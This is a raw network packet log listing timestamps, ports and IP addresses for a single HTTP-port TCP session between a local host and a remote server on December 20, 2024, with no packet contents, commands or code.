Dec 20, 2024 17:13:38.896863937 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.896914959 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.897367001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.897445917 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.897486925 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.898185968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.898355007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.898402929 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.929079056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.929264069 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.929322004 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.929425955 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.929511070 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.929557085 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.929621935 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.930505991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.930551052 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.930856943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.931150913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.931190968 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.991091967 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.991170883 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.991228104 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.991286993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.991409063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.991456032 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.992010117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.992310047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.992345095 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.992358923 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.993052006 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.993103027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.993231058 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.993851900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.993908882 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.994575977 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.994631052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.994673967 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.994796991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.995387077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.995436907 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.995676041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.996232986 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.996268988 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.996284008 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.996969938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.997019053 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.997564077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.997785091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.997843027 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.997920036 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.998562098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.998603106 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:38.998862028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.999399900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.999433994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:38.999439001 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.000119925 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.000163078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.000730991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.000977039 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.001014948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.001023054 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.001692057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.001744032 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.001858950 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.002513885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.002547979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.002583981 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.003245115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.003299952 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.003513098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.004019022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.004065990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.004108906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.004772902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.004822016 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.005032063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.005578995 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.005629063 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.005702972 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.006366968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.006417990 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.006648064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.007096052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.007138968 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.007262945 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.007927895 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.007977009 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.008184910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.008744001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.008780956 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.008932114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.009538889 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.009551048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.009576082 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.010293961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.010339022 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.010421038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.011029959 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.011060953 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.011085987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.011867046 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.011900902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.012056112 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.012634993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.012670040 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.012681961 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.013559103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.013597965 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.013676882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.062500954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.075746059 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.075973034 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.076041937 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.076232910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.076247931 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.076369047 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.076379061 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.076993942 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.077049971 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.077172041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.077788115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.077860117 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.078001022 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.078577042 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.078629017 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.078697920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.079374075 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.079421997 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.079490900 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.080174923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.080189943 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.080223083 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.080923080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.080939054 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.080971956 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.081692934 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.081744909 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.081788063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.082468033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.082511902 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.082546949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.083304882 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.083350897 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.083384991 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.084024906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.084070921 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.084177971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.084825993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.084872961 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.085093975 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.085613012 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.085656881 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.085906029 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.086386919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.086436033 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.086664915 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.087178946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.087224007 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.087436914 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.088007927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.088022947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.088054895 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.088704109 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.088751078 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.089258909 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.089536905 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.089579105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.089732885 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.090286016 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.090332031 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.091077089 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.121654987 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.121676922 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.121721983 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.121912956 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.121956110 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.122009993 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.122776031 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.122788906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.122823954 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.123492002 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.123557091 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.183235884 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.183547974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.183566093 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.183690071 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.183748007 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.183789015 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.184267044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.184581041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.184628963 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.185013056 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.185290098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.185349941 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.185408115 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.186111927 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.186162949 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.186192989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.186857939 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.186903000 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.186999083 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.187638044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.187683105 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.188003063 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.188453913 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.188492060 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.188659906 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.189254999 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.189290047 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.189639091 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.190047979 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.190084934 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.190174103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.190795898 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.190831900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.190948009 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.191648960 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.191663027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.191698074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.194966078 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.194981098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.194993019 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.195029974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.195070028 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.195087910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.195101023 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.195112944 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.195125103 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.195136070 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.195137024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.195162058 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.196223974 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.196273088 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.196378946 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.196855068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.196897030 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.197025061 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.197715998 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.197762012 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.197871923 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.198359013 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.198400974 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.198506117 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.199002028 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.199044943 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.199172020 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.199821949 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.199866056 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.199985027 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.200654984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.200668097 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.200700045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.201318026 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.201363087 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.201653004 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.202266932 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.202280045 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.202311039 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.203052044 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.203105927 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.203242064 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.203731060 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.203746080 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.203768969 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.204380989 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.204420090 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.204560041 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.205337048 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.205351114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.205374002 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.206170082 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.206183910 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.206211090 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.250133991 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.268006086 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.268145084 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.268201113 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.268366098 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.268740892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.268785000 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.269124985 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.269314051 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.269356012 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.269891024 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.270184994 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.270226955 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.270994902 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.271008968 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.271043062 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.271112919 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.271888971 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.271900892 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.271931887 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.272561073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.272573948 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.272608042 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.273266077 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.273310900 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.273370981 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.274080038 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.274123907 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.274925947 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.274940014 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.274974108 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.275044918 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.275670052 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.275712967 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.276180983 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.276485920 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.276499033 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.276529074 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.277301073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.277347088 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.277384996 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.278007984 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.278053045 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.278140068 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.278784990 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.278829098 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.278889894 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.279706001 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.279719114 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.279748917 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.280427933 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.280440092 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.280477047 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.281191111 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.281203032 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.281229973 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.282041073 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.282083988 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.282748938 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.282767057 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.282787085 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.282807112 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.313529015 CET	80	49711	147.45.113.159	192.168.2.9
Dec 20, 2024 17:13:39.313592911 CET	49711	80	192.168.2.9	147.45.113.159
Dec 20, 2024 17:13:39.313698053 CET	80	49711	147.45.113.159	192.168.2.9
